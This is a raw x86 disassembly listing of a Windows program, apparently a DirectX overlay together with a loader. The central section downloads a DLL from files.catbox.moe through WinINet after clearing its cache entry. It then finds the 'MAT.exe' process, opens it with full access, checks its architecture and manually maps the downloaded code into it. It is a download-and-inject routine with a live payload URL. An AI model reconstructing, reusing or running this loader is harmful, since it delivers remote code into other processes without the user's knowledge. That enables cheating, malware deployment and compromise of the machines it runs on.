mov eax, dword [esi + 0x158c]
cmp eax, edi
jle 0x4908ef
nop dword [eax + eax]
mov eax, dword [esi + 0x1594]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xe8], eax
test dword [eax + 4], 0x400
jne 0x4908e4
mov ecx, dword [esi + 0x1554]
test ecx, ecx
je 0x4908d2
push 0
push eax
call ecx
mov eax, dword [esp + 0xf0]
add esp, 8
mov ecx, dword [esi + 0x1578]
test ecx, ecx
je 0x4908e4
push 0
push eax
call ecx
add esp, 8
mov eax, dword [esi + 0x158c]
inc edi
cmp edi, eax
jl 0x4908a0
mov edi, 1
cmp eax, edi
jle 0x49094d
nop dword [eax + eax]
mov eax, dword [esi + 0x1594]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xe8], eax
test dword [eax + 4], 0x400
jne 0x490944
mov ecx, dword [esi + 0x1558]
test ecx, ecx
je 0x490932
push 0
push eax
call ecx
mov eax, dword [esp + 0xf0]
add esp, 8
mov ecx, dword [esi + 0x157c]
test ecx, ecx
je 0x490944
push 0
push eax
call ecx
add esp, 8
inc edi
cmp edi, dword [esi + 0x158c]
jl 0x490900
mov ecx, dword [0x68238c]
push 0
push 0
push 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x44]
cmp eax, 0x88760868
jne 0x490994
mov eax, dword [0x68238c]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x490994
call fcn.00477790
mov eax, dword [0x68238c]
push 0x682354
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
call fcn.00477730
cmp byte [0x67bc58], 0
je 0x490f24
cmp dword [esp + 0x194], 0x12
jne 0x48fa60
jmp 0x490f2f
push 0x23
push str.https:__files.catbox.moe_a5e79e.dll
lea ecx, [esp + 0x20]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0xf
mov byte [esp + 0x20], 0
call fcn.004935f0
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x18]
cmovae eax, dword [esp + 0x18]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov edx, dword [esp + 0x2c]
cmp edx, 0x10
jb 0x490a26
mov ecx, dword [esp + 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x490a1c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x490a1c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005ef4ad
add esp, 8
push 0x23
push str.https:__files.catbox.moe_a5e79e.dll
lea ecx, [esp + 0xf8]
mov dword [esp + 0x108], 0
mov dword [esp + 0x10c], 0xf
mov byte [esp + 0xf8], 0
call fcn.004935f0
xor eax, eax
xor edi, edi
push eax
push eax
push eax
push 1
xor esi, esi
mov dword [esp + 0x13c], edi
push str.Mozilla_5.0
mov dword [esp + 0x144], esi
mov dword [esp + 0x80], eax
mov dword [esp + 0x148], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x70], eax
test eax, eax
je 0x490bd1
cmp dword [esp + 0x104], 0x10
lea ecx, [esp + 0xf0]
push esi
cmovae ecx, dword [esp + 0xf4]
push connect
push esi
push esi
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [esp + 0xec], eax
test eax, eax
je 0x490b7e
lea ecx, [esp + 0xb4]
mov dword [esp + 0xb4], esi
push ecx
push 0x400
lea ecx, [esp + 0x250]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x490b64
mov edi, dword [esp + 0xec]
nop dword [eax]
mov eax, dword [esp + 0xb4]
test eax, eax
je 0x490b52
push dword [esp + 0x70]
lea ecx, [esp + 0x24c]
add eax, ecx
push eax
mov eax, ecx
lea ecx, [esp + 0x134]
push eax
push esi
call fcn.00498e30
lea eax, [esp + 0xb4]
push eax
push 0x400
lea eax, [esp + 0x250]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x490b52
mov esi, dword [esp + 0x130]
jmp 0x490b00
mov eax, dword [esp + 0x134]
mov edi, dword [esp + 0x12c]
mov dword [esp + 0x6c], eax
push dword [esp + 0xec]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [esp + 0x70]
call esi
jmp 0x490bee
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_URL:
call fcn.004948c0
cmp dword [esp + 0x104], 0x10
lea edx, [esp + 0xf0]
push dword [esp + 0x100]
cmovae edx, dword [esp + 0xf4]
mov ecx, eax
call fcn.00499040
add esp, 4
mov ecx, eax
push 0x494ef0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [esp + 0x70]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
jmp 0x490bee
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_initialize_WinINet.
call fcn.004948c0
push 0x494ef0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 7
push str.MAT.exe
lea ecx, [esp + 0x38]
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0xf
mov byte [esp + 0x38], 0
call fcn.004935f0
push 0
push 2
mov dword [esp + 0x250], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x490c70
mov edx, dword [esp + 0x44]
cmp edx, 0x10
jb 0x490d43
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x490c61
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x490c61
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005ef4ad
add esp, 8
jmp 0x490d43
lea eax, [esp + 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
lea edx, [esp + 0x26c]
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x490c90
sub edx, ecx
lea eax, [esp + 0x26c]
cmp dword [esp + 0x44], 0x10
lea ecx, [esp + 0x30]
push edx
cmovae ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x44]
push eax
call fcn.00494f40
add esp, 8
test eax, eax
je 0x490d97
lea eax, [esp + 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x490d33
nop word [eax + eax]
lea edx, [esp + 0x26c]
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x490cf0
sub edx, ecx
lea eax, [esp + 0x26c]
cmp dword [esp + 0x44], 0x10
lea ecx, [esp + 0x30]
push edx
cmovae ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x44]
push eax
call fcn.00494f40
add esp, 8
test eax, eax
je 0x490d97
lea eax, [esp + 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x490ce0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x30]
call fcn.004799b0
push str.Process_not_found_n
call fcn.004868f0
add esp, 4
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
or esi, 0xffffffff
test edi, edi
je 0x490efb
mov ecx, dword [esp + 0x6c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x490ef1
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x490ef1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [esp + 0x250]
lea ecx, [esp + 0x30]
mov dword [esp + 0xec], eax
call fcn.004799b0
mov eax, dword [esp + 0xec]
test eax, eax
je 0x490d43
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0xb4], eax
test eax, eax
jne 0x490e04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenProcess_failed:_0x_X_n
call fcn.004868f0
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
mov esi, 0xfffffffe
jmp 0x490d61
lea ecx, [esp + 0xec]
mov dword [esp + 0xec], 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x490e38
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cant_confirm_target_process_architecture:_0x_X_n
call fcn.004868f0
add esp, 8
jmp 0x490e68
lea eax, [esp + 0xe8]
mov dword [esp + 0xe8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [esp + 0xec]
cmp eax, dword [esp + 0xe8]
je 0x490e96
push str.Invalid_Process_Architecture._n
call fcn.004868f0
add esp, 4
push dword [esp + 0xb4]
call esi
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov esi, 0xfffffffd
jmp 0x490d61
mov ecx, dword [esp + 0xb4]
mov edx, edi
call fcn.00486570
test al, al
jne 0x490ed6
push dword [esp + 0xb4]
call esi
push str.Error_while_mapping._n
call fcn.004868f0
add esp, 4
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov esi, 0xfffffffc
jmp 0x490d61
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0xb4]
call esi
xor esi, esi
jmp 0x490d61
push ecx
push edi
call fcn.005ef4ad
add esp, 8
lea ecx, [esp + 0xf0]
call fcn.004799b0
lea ecx, [esp + 0x140]
call fcn.004799b0
lea ecx, [esp + 0x158]
call fcn.004799b0
jmp 0x4910bb
mov dword [esp + 0x194], 0x12
call fcn.0045ec90
call fcn.00477790
mov ecx, dword [0x6825a4]
test ecx, ecx
je 0x490f53
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x6825a4], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.USER32.dll_UnregisterClassA]
push eax
push dword [0x682428]
call edi
mov eax, dword [0x6825b0]
test eax, eax
je 0x490f7a
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [0x682310]
xorps xmm0, xmm0
mov ecx, esi
mov dword [0x6825b0], 0
mov dword [0x6825b4], 0
mov dword [0x6825b8], 0
mov dword [0x6825bc], 0
movlpd qword [0x6825c0], xmm0
movlpd qword [0x6825c8], xmm0
mov dword [0x67be10], 9
mov byte [0x6825ac], 0
mov byte [0x67bc59], 1
call fcn.0044e9e0
mov eax, dword [0x682310]
xor ecx, ecx
cmp eax, esi
cmove eax, ecx
mov dword [0x682310], eax
test esi, esi
je 0x491014
mov ecx, esi
call fcn.00467260
mov eax, dword [0x682310]
test eax, eax
je 0x491005
dec dword [eax + 0x374]
push dword [0x682308]
push esi
call fcn.004491c0
add esp, 8
mov ecx, dword [0x68238c]
test ecx, ecx
je 0x49102e
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x68238c], 0
mov ecx, dword [0x6823cc]
test ecx, ecx
je 0x491048
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x6823cc], 0
push dword [0x6823d0]
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [esp + 0xcc]
push dword [esp + 0xe4]
call edi
xor esi, esi
jmp 0x4910bb
mov ecx, dword [0x6823cc]
mov edx, dword [0x68238c]
test edx, edx
je 0x49108e
mov eax, dword [edx]
push edx
call dword [eax + 8]
mov ecx, dword [0x6823cc]
mov dword [0x68238c], 0
test ecx, ecx
je 0x4910a2
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x6823cc], 0
push dword [esp + 0xcc]
push dword [esp + 0xe4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov esi, 1
mov edx, dword [esp + 0x184]
cmp edx, 0x10
jb 0x4910f9
mov ecx, dword [esp + 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4910ef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4910ef
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005ef4ad
add esp, 8
mov ecx, dword [esp + 0x64c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.005eee94
mov esp, ebp
pop ebp
ret 0x10